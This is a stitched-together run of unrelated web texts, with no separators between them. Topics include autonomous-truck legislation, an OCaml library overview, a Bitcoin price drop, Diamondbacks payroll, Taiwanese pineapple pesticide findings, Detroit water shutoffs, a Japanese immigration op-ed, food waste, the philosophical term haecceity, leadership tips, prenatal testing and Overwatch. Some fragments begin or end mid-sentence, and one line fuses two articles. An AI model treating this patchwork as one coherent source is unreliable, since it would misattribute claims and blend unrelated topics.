There is one other factor that can further blunt the impact of an exemplary sentence. While the Facebook sentences have been widely publicised, the criminologists say there is real doubt about whether many potential criminals actually know the "going rate" for any particular crime – let alone whether they are deterred by it.A dais stuffed with well-fed lawmakers sure doesn't look like a battlefield, but make no mistake: The long-awaited war between self-driving vehicles and the humans they would replace has begun. And the humans just won the first skirmish.
Thursday morning, the Senate released the first version of autonomous vehicle legislation meant to clarify who exactly is in charge of robocar regulations. (The bill, like its companion passed this summer in the House, would put most of the vehicle design oversight in the hands of the federal government.) It comes a few weeks after senators circulated a draft of the rules, and contains a significant difference from the older version: The Senate deleted the original mention of commercial motor vehicles like trucks and buses. Now big vehicles are exempt from the bill—meaning that rules for self-driving trucks are still unclear.
It’s a small but noteworthy loss for the burgeoning self-driving trucking industry and the innovators therein, like Uber, Tesla, and Amazon, which have all lobbied for clear national rules governing the autonomous big rigs they want to build, sell, or use. And it’s an early win for the labor unions, whose influence in Washington has taken a precipitous dive since the 1980s, and more specifically for the Teamsters, which represents almost 600,000 truck drivers nationally and had asked legislators to keep their commercial vehicles out of the discussion, at least for the time being.
“The issues facing autonomous commercial trucks are fundamentally different, and potentially more calamitous, than those facing passenger cars, and warrant their own careful consideration,” Teamsters rep Ken Hall told the Senate during a hearing on autonomous trucks earlier this month.
It makes sense that trucking is the focal point of nascent AV regulation. From a technological perspective, implementing self-driving in trucks is easier than self-driving personal cars, or even self-driving taxis. Big rigs primarily operate on highways with long, straight stretches and (mostly) clear lane markers and signs. (City driving, by contrast, includes more mercurial creatures: cyclists, pedestrians, traffic lights.) Autonomy offers clear safety benefits, because trucks are overrepresented in road fatalities, and kill about 4,000 people a year on US roads. The economic case is also obvious: Trucking is a $676 billion industry in the US. Shipping faster, more efficiently, and without paying a human driver could only make it more profitable.
Self-driving trucks are an inevitability. Witness this big rig driver flip on robo-mode and clamber into the back seat during a demonstration last year. “It should be much quicker for commercial autonomous vehicles to be in the market as real products that are generating revenue and building real businesses,” says Stefan Steltz-Axmacher, the founder of truck tech company Starsky Robotics.
But the prospect of robot trucks raises questions. Are they safe? Are they cybersecure? And, critically, will they strip 3.4 million American truck drivers of a living wage? Trucking is the most popular occupation in at least 20 states, a rare job that pays decently (about $41,000 a year on average) without requiring a college diploma.
When Computers Drive the Trucks
In one sense, the outcome of this first legislative tussle doesn’t matter much, because it’s unclear how robotrucks will work, or how many jobs they can really swipe. There are myriad possibilities.
The startup Peloton is working on “platooning” trucks, or groups of vehicles that communicate via a wireless connection that helps them time their movements. At some point soon, the system might let a lead driver take over the steering for a bit, while those at the wheels in the vehicles behind could snooze, catch up on paperwork, meditate, whatever. California-based Embark would like to see driver-monitored trucks pilot themselves on interstates but be manually driven into warehouses by nimbler humans. Starsky Robotics has a similar vision, but says that the trickier driving maneuvers could be done by a human in a remote location, Predator drone-style. It’s unclear if any of these companies want—or will be able—to ever take the human out of the picture entirely.
“We continue to believe that the automated technologies being developed today will assist drivers, improving safety and productivity, and that the job of truck driver will be with us for the foreseeable future,” Chris Spear, the president and CEO of the American Trucking Associations, told the Senate this month.
The Teamsters are skeptical anyway. “It’s not just job loss. It’s also what happens to the working conditions of the person who remains in the cab,” says Sam Loesche, a legislative representative for the union. “How do we protect the livelihood of the driver who may be pushed to operate on a 24-hour continual basis because the company is claiming he’s in the back of a cab?” Even if automation doesn’t eliminate the need for a human, it could make that human’s job even less fun
Self-Driving Politics
It may be more correct to say the Teamsters didn’t so much win this fight as prolong it. At some point, the tech will be ready, and some proponents will want to use it to put humans out of work. And after they come for the truckers, they'll come for the taxi drivers, the chauffeurs, the valet parkers, the gas station attendants, and perhaps anyone else whose job depends on people driving their own cars. (The AV revolution should gin up plenty of new jobs, but a bird in the hand, you know?)
Still, it’s a victory. In a reversal of conventional wisdom, the trucking industry wants the government to amp up regulations. Federal rules would supersede today’s patchwork, where rules change from one state to another, and crossing a border—as trucks are wont to do—means extra reams of paperwork.
“A lot of state regulators are looking to the federal government for guidance,” says Steltz-Axmacher. The lack of clarity for self-driving trucks makes it harder to raise money, and a federal law that doesn’t address commercial motor vehicle provisions could “meaningfully slow progress.”
“Creating two separate tracks for cars and trucks creates uncertainty, and if technology can prove to be safe and save lives, it should be on the roads regardless of the use case or vehicle type,” says Jonny Morris, who heads up policy for Embark.
For these companies and their big tech allies, it’s not too late |
OCaml’s) Genlex (programmatic generation of lexers — vastly extended from OCaml’s) Parsers Parsing (untouched from OCaml’s) ParserCo (a parser combinator library — brand new) CharParser (char-related parsing utilities — brand new)
OCaml offers a few meta-level utilities, which don’t always appear in the documentation but are present nevertheless. Batteries Included publishes them as Batlib.Meta:
Batlib Meta Callback (untouched from ExtLib’s) Gc (untouched from ExtLib’s) Marshal (untouched from ExtLib’s) Obj (untouched from ExtLib’s) CamlinternalOO (untouched from ExtLib’s) Oo (untouched from ExtLib’s) Weak (untouched from ExtLib’s)
A few utilities are also presented in module Batlib.Util:
Batlib Util Random (extended from OCaml’s) Base64 (untouched from ExtLib’s) Digest (untouched from OCaml’s)
Last but not least, we have a candidate standard module (i.e. a replacement for Pervasives). This module contains:
everything from ExtLib’s Std
a few common operators for function composition, function application, arrow-style projections, pairing, currification etc.
everything from Pervasives (in the future, string conversion functions and I/O should disappear)
Enum (which become the standard currency between data structures, as well as the most common replacement for for loops)
What’s in store
While we already have our hands quite busy with just what has already been mentioned, more is coming.
An optimized reimplementation of ParserCo, along with more friendly error-reporting tools.
The Printf module and channels are on their way out (at least from the documentation) — Batteries Included offers alternatives (including a new implementation of the printf function) which are better in most respects and which we’re busy completing.
Despite the power of SDFlow, streams are also on their way out. We just need to finish implementing SDFlow’s features with Enum and to complete a nice syntax extension to replace streams with enumerations and stream parsers with our monadic parser combinator library. This is being worked on.
Camlp4 and ULex will join the standard library, somewhere in module Batlib.Languages.
Camomile will also join the standard library, somewhere between modules Batlib.Data and Batlib.Structures.
Type-conv will fit nicely into Batlib.Meta, just as Sexplib.
Want more?
A networking library, probably OCamlNet.
A better thread library, probably coThreads.
More pseudo-concurrency. Probably a superset of SDFlow.
Syntax extensions. More to be decided.
Bottom line
Lots of work has already gone into Batteries Included. Most likely, lot more will come. Eventually, we hope to achieve JDK-like out-of-the-box usability for OCaml, even at the risk of JDK-like out-of-the-box bloat. Hopefully, we’re still quite far away from that.
If you wish to help, please don’t hesitate. There’s work for everyone.
Suggestions are also welcome, preferably in the request for features tracker. And if needed, don’t hesitate to discuss here or on our public forum.
AdvertisementsIt’s falling apart for Bitcoin.
Depending on what exchange you’re looking at, Bitcoin prices fell as low as $12,160-ish overnight, a near 40% drop from the highs hit last weekend ahead of the CME futures launch:
The declines come at the end of a week that saw bitcoin cash surge after Coinbase announced support for BCH, a move that looks to have been frontrun by at least some market participants. But bitcoin cash has now plunged from its highs as well:
Ethereum and litecoin are likewise getting crushed (looks like Charlie Lee sold at just the right time – imagine that):
As usual, it’s impossible to pin down one catalyst but this comes during a week when the media has been awash with stories of increasingly absurd rallies in the stocks of companies that have abruptly switched gears to become blockchain adopters. In one particularly ridiculous example, a company called “Long Island Iced Tea” changed its name to “Long Blockchain” and immediately soared some 400%.
The sheer scope of the insanity prompted a FINRA warning. “It is important to do your research. Even when legitimate companies enter a hot, new sector, con artists almost always follow suit,” Gerri Walsh, FINRA’s senior vice president for investor education, said Thursday in statement.
Market sentiment was also dented by the Youbit debacle, which again underscored the cryptosphere’s inherent risks.
“A manic upward swing led by the herd will be followed by a downturn as the emotional sentiment changes,” Charles Hayter, founder and chief executive of industry website Cryptocompare in London told Reuters Friday, adding that “with the end of the year in sight a lot of investors will be taking profits and saying thank you very much and closing their books for the holiday period.”
“The sharks are beginning to circle here, and the futures markets may give them a venue to strike,” Ross Norman, CEO of London-based bullion dealer Sharps Pixley Ltd., told Bloomberg. “Bitcoin’s been heavily driven by retail investors, but there’ll be some aggressive funds looking for the right opportunity to hammer this thing lower.”
Echoing those remarks is Oanda’s Stephen Innes who said this: “Most of it is unsophisticated retail traders getting burned badly.” Indeed, Stephen.
In fact, this is shaping up to be Bitcoin’s worst week since 2013:
Meanwhile, futures are now trading at a premium to spot again, after trading a discount on Thursday:
So is this the end? Have we seen “peak crypto”?
Not likely. But you never know. And wouldn’t it be hilarious if the bubble burst before Goldman’s planned trading desk even gets off the ground?The loss of A.J. Pollock for what could be the entire season rocked the D-backs late in Spring Training, but while there’s been talk of potentially adding some help from outside the organization, it doesn’t sound as if the Diamondbacks will spend any significant money to make an upgrade in center field, writes Bob McManaman of the Arizona Republic. In fact, GM Dave Stewart tells McManaman that the D-backs aren’t likely to make any significant payroll increases at any point this season.
“We’re not in a position to take on more salary,” Stewart explained. “We are where we are when it comes to salary and taking on more money. We can’t do that.” The D-backs opened the season a payroll just under $100MM — the second-largest Opening Day mark in franchise history. Some fans might wonder, then, whether Stewart would make potential trade deadline upgrades by parting with more young talent, but the GM also downplayed the possibility of further depleting his farm system after already having traded Dansby Swanson, Aaron Blair, Isan Diaz and Touki Toussaint within the past year.
“You can’t sell the organization,” said Stewart. “There have been a lot of organizations that have gone out and thought they were in a position to win and they get rid of prospects, then you look at your minor-league system and all of a sudden you have nothing.” Stewart said he dislikes the notion that he doesn’t care about trading prospects, explaining to McManaman that it was difficult to part with each promising young player he’s traded away.
The actions of the Diamondbacks late in the offseason exemplified those lines of thinking; Arizona only sprung to sign right-hander Tyler Clippard to a two-year deal after saving about $4MM in the trade that sent Diaz, Chase Anderson and high-priced veteran Aaron Hill to the Brewers. And while the club took a long look at signing Howie Kendrick, the D-backs ultimately neglected to commit the money that was necessary or surrender the required draft pick in order to add Kendrick. As Stewart explained to Brett Ballantini in a recent MLBTR interview, the decision not to sign Kendrick, though, was motivated largely by the belief that Chris Owings would rebound after battling through shoulder problems in 2015. Owings, of course, has now been playing some center field in Pollock’s absence.
Circumstances, of course, can change quickly. Stewart also noted to Ballantini in the aforementioned interview that he never dreamed that ownership would give him the green light to pursue Zack Greinke this winter — even as the early stages of free agency began to play out. And, as McManaman’s colleague, Nick Piecoro, explained to Jeff Todd on a recent edition of the MLBTR Podcast, owner Ken Kendrick is typically open to expanding the budget a bit if it appears that the club has a chance to win as the trade deadline nears. That said, it would seem that Stewart is operating under the assumption that he’ll have to ride out the remainder of the season with what the club has in house. A small addition (e.g. Michael Bourn, who would only be owed the pro-rated league minimum if and when he is released by the Braves) still seems plausible even in light of Stewart’s comments, but for the time being it appears that the D-backs’ extravagant dealings will be limited to the right-handers that they acquired this offseason.The Xiamen Entry-Exit Inspection and Quarantine Bureau in mainland China said that pineapples imported from Taiwan exceeded levels of the pesticide dimethoate, according to UDN. The omethoate levels found exceeded Chinese standards seven-fold; the acceptable level in mainland China is 0.02mg/kg and the level in Taiwanese pineapples was 0.14mg/kg.
Following the test results, mainland China will increase the proportion of imported pineapples tested to 10% for the next six months.
Bureau of Animal and Plant Health Inspection and Quarantine, Council of Agriculture deputy director Feng Hai-tung (馮海東) said that Taiwan banned the use of dimethoate seven years ago, so it’s unlikely that inspections in China found the insecticide.
Taiwan produces 410,000 metric tons of pineapples annually and exported 9000 metric tons last year, of which 8000 metric tons were exported to the mainland. China is Taiwan’s largest importer of pineapples, followed by Japan. Taiwan tests for 310 types of pesticides; Japan requires an inspection certificate, while China does not. With the increased testing in mainland China, more pineapples will be sold in the domestic market, which will probably drive down prices.
The bureau said that it will investigate the cause of the failed tests, focusing on farms, and fine anyone in violation of the pesticide laws with NT$15,000-150,000.Paula Patton is 5’4″ (allegedly).
Jeremy Renner is allegedly 5’10” but last time I lit his cigarette I had to bend down. (That’s what… she said?)
Tom Cruise is tall enough to kick this dude in the collarbone, though not without pants-strain.
Jeremy Renner is taller than Paula Patton.
Pretty much.
Tom Cruise and Simon Pegg are the same height as Paula Patton in, presumably, heels.
Paula Patton is taller than Simon Pegg in very tall heels.
Jeremy Renner is taller than Simon Pegg. (The Internet also says Simon Pegg is 5’10” but no one believes that. (Pegg seen here with Samuli Edelmann, who is no taller than 5’10”.))
Tom Cruise and Jeremy Renner are the same height.
Ving Rhames is six feet tall.
Simon Pegg is taller than Tom Cruise.
Or is he.
Tom Cruise is taller than Simon Pegg.
Katie Holmes is taller than everyone.Image: PeopleImages/iStock
PeopleImages/iStock One of the best things about long-term relationships and love is getting to that extremely comfortable level with another person from the inside out. After 10 years of marriage, partners have likely done most things in front of one another -- from peeing to having babies to laughing until soda comes out of their noses. Spending all that time with one another is bound to create some embarrassing and awkward moments. But no matter those moments and how close a couple may be, there's something to be said for keeping some distance in certain circumstances. It makes the heart grow fonder, after all.
No matter how much love there is between two people in a marriage or relationship, some things will always be cringe-worthy to do in front of a significant other. Women are (incorrectly) expected to be delicate flowers that just naturally glow into the beautiful goddesses we present ourselves as. Before marriage, our partners see us in our most tip-top form. Hair is brushed, skin is smooth, and bodily functions are kept in check.
What they don't see is the ball of knots our hair is before we run a brush through it. They miss the wax on the upper lip to get the smooth skin, and believe us, our bodily functions are most definitely functioning when they're not around. And once marriage hits, they are bound to catch us in one of the acts.
But the thing is none of us are alone in these "embarrassing" moments. Here are 28 aspects of an all-too-human existence that many people wish they could steer clear of doing when their partner's around.This article is over 4 years old
Attorneys for city and opponents of shutoffs to customers with unpaid bills present evidence before a federal judge
Detroit’s water department defended its shutoff policy Monday and warned that free service to people with unpaid bills could be “very devastating” to the bottom line.
Judge Steven Rhodes set aside Detroit’s bankruptcy trial to hear evidence in a controversy that has been boiling all summer. A coalition representing low-income residents is asking Rhodes to suspend water shutoffs and restore service to people who have lost it.
The water department would be violating Michigan law and breaking agreements with bond holders if forced to supply water and ignore overdue bills, attorney Sonal Mithani said.
The “humanitarian concerns are very compelling” but fairness is critical, too, Mithani said, noting that 60% of Detroit residents are paying for water on time.
Opponents essentially are arguing that “every resident has the inherent right to free water,” she said.
The water department stepped up shutoffs in March, and about 15,000 customers had service cut from April to June. Criticism and protests followed, even appeals to the United Nations.
Detroit stopped shutoffs for about a month this summer but they resumed in August after Mayor Mike Duggan encouraged people to put down 10% and sign up for a payment plan.
“It could potentially be very devastating” to the water department’s budget if the city is ordered to stop shutoffs, director Sue McCormick told the judge.
Carol Ann Bogden said the new policy hasn’t helped her. She said she bathes in the sink with water purchased at a store since being cut off in July. She owes $1,120 but lost her identification and has been unable to get into a payment plan.
“I cried for a while,” Bogden said of her woes.
As of 31 July, at least $86m was owed on accounts overdue for at least 60 days.
An economist, Roger Colton of Belmont, Massachusetts, testified for critics of Detroit’s shutoff policy, saying a consumer’s income should be a factor in how the city regularly collects water bills.
He predicted that Detroit’s payment options will be “unsuccessful and ineffective” in the long run as poor people miss more payments down the road.
John C Smith said he and his mother could lose water as soon as Tuesday after being cut off for a few months last winter. He owes about $1,100.
His spending habits were questioned by attorney Thomas O’Brien, who asked about his cellphone bill. Smith said his sister pays it.
The hearing will end Tuesday after testimony from water department officials and closing arguments.Clinton's campaign, with the aid of surrogates such as Warren and first lady Michelle Obama, has aimed to mobilize women by not only highlighting plans for women's issues but also slamming Trump for his remarks about women in the past. Obama recently devoted an emotional New Hampshire speech to criticizing Donald Trump's 2005 hot mic comments in which he boasted about groping women without consent.
Warren kept up those attacks on Monday, saying Trump "aggressively disrespects more than half of the human beings in this country."
"He thinks that because he has money that he can call women fat pigs and bimbos. He thinks because he's a celebrity that he can rate women's bodies from 1 to 10. He thinks that because he has a mouth full of Tic Tacs that he can force himself on any woman within groping distance," Warren said, referencing the breath mint Trump said he used in the 2005 video.
She also tried to appeal to voters by touting Clinton's plans to boost college affordability and support equal pay for women.
Opinion surveys show Clinton with a strong advantage in New Hampshire: An average of recent polls including third-party candidates shows Clinton with an 8-point lead in the state, according to RealClearPolitics.
The stop in New Hampshire also aimed to garner support for Gov. Maggie Hassan, a Democrat locked in a tight Senate race with Republican incumbent Kelly Ayotte. Hassan spoke before Warren and Clinton at the rally as she made the final push in a race that will help to determine which party holds the Senate.
Both Hassan and Warren attacked Ayotte for her past support of Trump, particularly her earlier comment that the GOP presidential nominee should be seen as a role model. Warren contended that Ayotte is "running away from" Trump as public opinion has turned against him.Since the middle of the 19th century, our economic success has relied on the availability of outside models from which to choose. Our model for social security took inspiration from Bismarck’s Germany, state planning from the Soviet Union, public works from the Tennessee Valley Authority, automobile assembly and manufacturing from Ford. Much of Japanese innovation has involved perfecting what others have created. Sony is famous for its Walkman, but it didn’t invent the tape recorder. Japan’s rise to economic greatness was basically a game of catch-up with the advanced West.
Photo
So what happened once we caught up? Over the past two decades, the answer has largely been paralysis. Japan’s ability to imitate outside models was mistaken for progress. But if progress is defined by pursuing a vision of a desirable future, then the Japanese never progressed. What we had was a concept of order and placement, which is essentially stasis.
In the West, on the other hand, the idea of progress rests on establishing individual autonomy and liberty. In Japan, bureaucratic rule offered security and predictability — in exchange for personal freedom. The problem is that our current political leaders can’t keep their side of the bargain. Employment security can no longer be guaranteed. The national pension and health plans seem to be insolvent in the long run. People feel both insecure and unfree.
Signs of despair are everywhere. Japan has one of the highest suicide rates among rich countries. There may be as many as one million “hikikomori,” from teenagers to those in their 40s, who shut themselves in their rooms for years on end. Then there are all those “parasite singles” — or unmarried adults living with their parents. But by far our most serious problem is a declining and aging population. Given present trends, total population will likely decline from around 130 million to under 90 million in 50 years or so. By that same time, 40 percent of Japanese could be over 65.
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If we want to survive as a nation, we must shed our deeply rooted resistance to immigration. Contrary to widespread prejudices in favor of keeping Japan “pure,” we desperately need to dilute our blood. Our aging nation will need millions of university-educated middle-class immigrants with high productivity, people who will put down roots and raise families, whose pride and success will be the affirmation of new Japanese values.
Japan desperately needs change, and this will require risk. Risk-taking is not common among the bureaucratically controlled. You won’t find many signs on Japanese beaches saying, “Swim at your own risk. No lifeguard on duty.” If that sign were to appear, many Japanese would likely ask the authorities to tell them if it is safe to swim. This same risk aversion translates into protectionism and insularity. The ministry of agriculture, for example, wants to increase self-sufficiency in food. There is not nearly enough critical thinking and dissent in the Japanese news media.
Still, the idea that the Japanese are afraid of risk has no basis in history, for better or for worse. Remember Pearl Harbor? In fact, Japan’s passiveness today is in large measure a calculated and reasonable reaction to its behavior during the Second World War. But today, this emphasis on safety and security is long past its sell-by date.
We have run out of outside models to imitate. We must start from scratch, embracing an idea of progress that is based on innovation, ambition and dynamism. Doing so will take risk — and extraordinary leadership. But the alternative is to continue stumbling down a path of decline.This story is the second of a series of 10 articles from Apolitical–an international platform for innovators in the public service and all those who care about effective government–about the best urban innovations around the world. The last one was about density. Stay tuned in two weeks for the next installment.
Those 3,000 tons every day go into landfill, where they rot and emit methane that drives climate change. And we shouldn’t just pick on New York: Roughly a third of the world’s food gets thrown away each year, which is 1.3 billion tons (or 430,000 warships.)
Cities are particularly blatant offenders because they depend on truck-, boat- and planeloads of food being transported in every morning to keep them alive. But their dense social mesh also makes them particularly able to fix the problem.
The most obvious way to do that is to make sure food that might be wasted gets given to people who want or need it. So France recently became the world’s first country to ban supermarkets from throwing away food. All unsold produce that’s nearing its sell-by date must be donated to charities or food banks. In March, Italy passed a similar law, which doesn’t penalize supermarkets who fail to do so but instead incentivizes them with tax breaks.
This idea has been turned on its head in Denmark, which has cut food waste by a quarter since 2010. In Copenhagen, a supermarket called WeFood exclusively stocks produce that has been rejected as out-of-date by the mainstream shops. It’s so popular that a second location is opening in the town of Aarhus next year.
And giving food to hungry people–surprise surprise–makes society a lot better. One of the best examples is in the English former industrial town of Leeds, where food that would be thrown away from supermarkets goes to a big state school in a poor neighborhood. The school gets enough to feed all 600 pupils a nutritious breakfast and lunch for no extra cost to itself or to parents. Because the pupils aren’t hungry or coming down off sugar rushes, there’s less truancy, they behave better, and their exam scores have gone up.
But food banks and charities also end up with leftovers, so there’s been an explosion in organizations, like Les Confitures de Dominique in Bordeaux, that turn unwanted fruit and veg into jams, smoothies, chutneys, and soups. In fact, there’s a whole new industry of turning food waste into other food, like Toast Ale in London, which takes the unwanted bread ends that can’t be used for prepackaged sandwiches and turns them into beer."Haecceity" (; from the Latin haecceitas, which translates as "thisness") is a term from medieval scholastic philosophy, first coined by followers of Duns Scotus to denote a concept that he seems to have originated: the discrete qualities, properties or characteristics of a thing that make it a particular thing. Haecceity is a person's or object's thisness, the individualising difference between the concept "a man" and the concept "Socrates" (i.e., a specific person).[1]
Etymology [ edit ]
Haecceity is a literal translation of the equivalent term in Aristotle's Greek to ti esti (τὸ τί ἐστι)[2] or "the what (it) is."
Charles Sanders Peirce later used the term as a non-descriptive reference to an individual.[3]
Haecceity and quiddity [ edit ]
Haecceity may be defined in some dictionaries as simply the "essence" of a thing, or as a simple synonym for quiddity or hypokeimenon. However, such a definition deprives the term of its subtle distinctiveness and utility. Whereas haecceity refers to aspects of a thing that make it a particular thing, quiddity refers to the universal qualities of a thing, its "whatness", or the aspects of a thing it may share with other things and by which it may form part of a genus of things.[4]
Duns Scotus makes the following distinction:
Because there is among beings something indivisible into subjective parts—that is, such that it is formally incompatible for it to be divided into several parts each of which is it—the question is not what it is by which such a division is formally incompatible with it (because it is formally incompatible by incompatibility), but rather what it is by which, as by a proximate and intrinsic foundation, this incompatibility is in it. Therefore, the sense of the questions on this topic [viz. of individuation] is: What is it in [e.g.] this stone, by which as by a proximate foundation it is absolutely incompatible with the stone for it to be divided into several parts each of which is this stone, the kind of division that is proper to a universal whole as divided into its subjective parts? — Duns Scotus, Ordinatio II, d. 3, p. 1. q. 2, n. 48]
While terms such as haecceity, quiddity, noumenon and hypokeimenon all evoke the essence of a thing, they each have subtle differences and refer to different aspects of the thing's essence.
Haecceity thus enabled Scotus to find a middle ground in the debate over universals between Nominalism and Realism.[5]
Haecceity, sociology and philosophy [ edit ]
The social construction of reality, ethnomethodology, and conversation analysis are the main streams that elaborated during the 1960s a new kind of sociology—which influenced later sociology, philosophy, and political analysis. Harold Garfinkel is the founder of ethnomethodology, and teacher of Harvey Sacks, one of the founders of conversation analysis. He used the word haecceity in his seminal Studies in Ethnomethodology (1963), to enhance the indexical inevitable character of any expression, behavior or situation. According to him, the members display the social order they refer to within the settings of the situation they contribute to define. The study of particular situations in their "haecceity" — aimed at disclosing the ordinary, ongoing social order that is constructed by the members and their practices[6] — is the object of ethnomethodology.
In his famous paper generally referred to as "Parson's Plenum" (1988), Garfinkel used the term "Haecceities" to indicate the importance of the infinite contingencies in both situations and practices.[7]
Garfinkel was drawing on phenomenology and Edmund Husserl, logic and Bertrand Russell, and perception theory and Nelson Goodman. Phenomenology is the field of studying the phenomena as such, and can thus be seen as a contemporary philosophical version of the medieval concept of haecceity.
Gilles Deleuze uses the term to denote entities that exist on the plane of immanence. The usage was likely chosen in line with his esoteric concept of difference and individuation, and critique of object-centered metaphysics.
Influence [ edit ]
Gerard Manley Hopkins drew on Scotus — whom he described as “of reality the rarest-veined unraveller”[8] — to construct his poetic theory of inscape.
James Joyce made similar use of the concept of haecceitas to develop his idea of the secular epiphany.[9]
James Wood refers extensively to haecceitas (as "thisness") in developing an argument about conspicuous detail in aesthetic literary criticism.[10]
See also [ edit ]
References [ edit ]
Further reading [ edit ]Amazon just announced a new AutoRip feature that could put a dent in Apple's iTunes business.
With AutoRip, people who buy CDs from Amazon will also receive free digital copies of those tracks to store in their Amazon Cloud Player libraries.
The feature isn't available on every CD, but Amazon sells more than 50,000 albums that are eligible for AutoRip. The AutoRip feature is also available for CDs that you previously bought from Amazon.
Once your files are in your Cloud Player library, you can play them from essentially any device, including the Kindle Fire, Android phone or tablet, iPhone, iPod Touch, Samsung TVs, and your good old-fashioned computer.
Another plus, according to Amazon, is that many of the AutoRip CDs cost less than the digital album on iTunes.
Check out the new AutoRip here.The most effective leaders I’ve known or studied all share a common trait: they were unwilling to settle for the existing state of affairs. They believed with all their heart that what we focus on can become reality.
In my quarter-century of military service, I’ve been afforded the rare privilege of leading in a broad array of environments: commanding a 500-person special operations expeditionary air refueling group in the Middle East after 9/11; guiding a 7,000-person military community through a dramatic mission transformation in North Dakota; and leading men and women from 14 NATO nations in building a sustainable, independent Afghan Air Force in an active war zone—something that had never previously been attempted.
I know how daunting it can be to lead dedicated professionals to undertake complex endeavors, and I’ve lived the reality of trying to bring positive change to large, bureaucratic organizations. Here are four principles I’ve learned that can help you enhance your leadership while concurrently bringing out the best in those around you.
Principle 1: Craft your vision in pencil, not ink.
It is a well-accepted role of leaders to focus on the future and pursue the possibility it holds. In other words, leading entails being a visionary—confidently looking ahead and ascertaining how best to transform your current reality into your desired future. One of the most significant errors I see leaders make is developing their vision in isolation and then expecting people to accept it at face value. When leaders do this, they violate one of the most important truths of promoting change: our words create our worlds. How we choose to describe and discuss what we are doing and where we are going is important, but what moves people to sustainable, self-motivated action is understanding the why behind the vision. That vision can only be fully realized if leaders involve others in the process of creating it.
Ultimately, what makes a vision come to life isn’t people understanding it, but people choosing to own it. Making inclusivity a priority will increase ownership, enhance motivation, improve information sharing, and result in leaders making wiser, more informed choices.
Principle 2: Believe no job is too small or insignificant for anyone, especially you.
For those of us who have served in uniform, getting dirty, sleeping in tents, leading marches in the mud, or spending hours rehearsing a mission comes with the territory. As a commander, you don’t get a pass because you have the highest rank. In fact, you should be ready to be the first to face hardship and the last to benefit from success. If your team is cold, wet, hungry, and sleepless, you should be, too. You should be prepared to eat last, own failure, and generously share triumphs. This others-centered approach to leading will build deep trust and enduring respect, and reinforce that you don’t expect anyone on your team to do anything you wouldn’t do yourself.
Ego tempts many leaders toward self-aggrandizement—the higher their rank, the more pronounced the pull. Choose to direct your effort and attention toward what you can give rather than what you can receive. Demonstrate humility, not superiority. Model for others the selfless attitudes and behaviors you desire to see in them.
Principle 3: Remember that leaders should be generalists, not specialists.
Nobody can be an expert in everything, but the greater your scope of responsibility as a leader, the more you need to learn about what you are demanding of your people. Just like the best sports coaches, who invest countless hours in understanding every position on the field, effective leaders develop a keen sense of how the organization’s various roles, functions, systems, people, and processes contribute to achieving its desired goals. You may be a specialist at one thing, but knowing what others around you do—and how and why they do it—is vital not only to attaining your desired outcomes, but also to realizing your individual and collective potential.
Don’t allow yourself to become stale or small-minded. Make it a personal priority to know more about what is going on around you. If you spent the bulk of your career working in sales, accept a stretch assignment in business development or talent management. You will likely be pleasantly surprised at how this broader, richer view of what’s happening in your organization will enlarge your perspective, enhance your appreciation, and elevate your sense of personal satisfaction.
Principle 4: Recognize that every interaction is an opportunity to equip, engage, empower, and inspire those around you.
The world of physics has a principle: “Every contact leaves a trace.” What this means for leaders is that every interaction with someone—verbal, written, or even through non-verbal mannerisms—makes an impression. Effective leaders understand that every interaction is a potentially powerful means of nurturing a relationship, eliminating an obstruction to progress, or reinforcing trust. Determine to leave a trace that leaves those around you better for knowing you.
Do your part to seed an environment where everyone is compelled by your example. Adopt a walk-the-floor policy instead of an open-door policy. Visit with people in their space. Don’t make them come to yours.
Military work is risky, pressured, and ever-changing. Yet the principles military leaders use to lead effectively are the same skills companies need today to prevail in a climate of increasing uncertainty and accelerating complexity. It is up to each individual leader to choose to put these lessons to work.Once upon a time, not so long ago, women got pregnant and spent nine months in suspense before finding out if they were having a boy or a girl. But today? That waiting game is completely outdated, even quaint.
Every aspect of pregnancy is now scrutinized and analyzed — sometimes even beginning before egg meets sperm, as expectant parents gauge if they are carriers for diseases they could pass on to their offspring. Once pregnancy is established, there are tests as soon as the first trimester to assess chromosomes and identify tiny genetic deletions or duplications whose significance may be unclear.
Yet there tends to be a collective fiction that hovers around why this testing is offered at all. When providers explain genetic testing, they rarely — if ever — initiate a conversation about why a woman might want to consider testing in the first place. As a result, many women proceed with testing without fully considering why they’re doing it and, more significantly, what they will do if they don’t receive the results for which they were hoping.
It’s human nature to wax optimistic, to hope that test results will prove reassuring. But not every woman will receive comforting news. As testing becomes increasingly sophisticated, an increasing number of women will get results that aren’t black or white. Others will get results that are unequivocally concerning. Then what?
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Well, even when that happens, turning the wonder and joy of pregnancy into a far more angst-ridden experience, knowledge is power.
This was my experience when I was pregnant with my third child. An ultrasound revealed a bubble of fluid on her brain that could indicate trisomy 18, a serious genetic condition that’s often fatal before birth. That result spurred me to have an amniocentesis, which extracted fetal DNA via a long, thin needle inserted into my womb. Thankfully, the test results showed just two copies of chromosome 18, not three, which would have confirmed a diagnosis.
I was incredibly relieved, but then something strange and unexpected happened. The lab report’s analysis of fetal DNA had revealed that my unborn daughter’s ninth chromosome was flipped — the top was on the bottom, and the bottom had migrated to the top. It was, the report indicated, “not associated with clinical effects.” And still I worried. Over time, I’ve come to terms with that snippet of genetic information, and now feel grateful that I know about this DNA blip. Should research emerge that it’s linked to risk of disease, at least I’ll be aware and will be able to take advantage of any potential treatments. (P.S. My daughter, now 10, loves pandas, biking and gummy worms. She doesn’t like cleaning her room. In other words, as far as I know, inversion 9 has dealt her no ill effects.)
There are other reasons why more information is better, too: A prenatal diagnosis of Down syndrome, for instance, could motivate parents to seek out support groups before the birth so that they can get a glimpse of what to expect. It might prompt them to switch hospitals to one where doctors have more experience delivering babies with special needs.
But despite this advantage, we still too often limit what women and families know. What you can learn can depend on where you are. While expectant moms in major metropolitan areas have access to the latest cutting-edge technology for prenatal testing, women in rural towns have far fewer choices. And even though it isn’t surprising that abortion is the elephant in the exam room, we continue to do women a disservice by not openly discussing that abortion is one potential option in the aftermath of prenatal testing.
Knowing ahead of time may ratchet up the anxiety level of pregnancy far beyond that of previous generations. But all parents deserve to have this knowledge. It puts moms and dads in the driver’s seat, which is a good place to be when it comes to parents and their progeny.
Contact us at editors@time.com.UPDATE: Overwatch fans can FINALLY play as Sombra on PS4, Xbox One and PC.
Blizzard confirmed as much on Twitter, telling fans that Sombra is out now on Xbox One and PC.
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bracket would pay no taxes on capital gains and dividends; those in the 28 percent bracket would pay a 12 percent rate. He would triple the exemption for dependent children and cut the corporate tax rate in half — except for manufacturers, who would pay nothing.
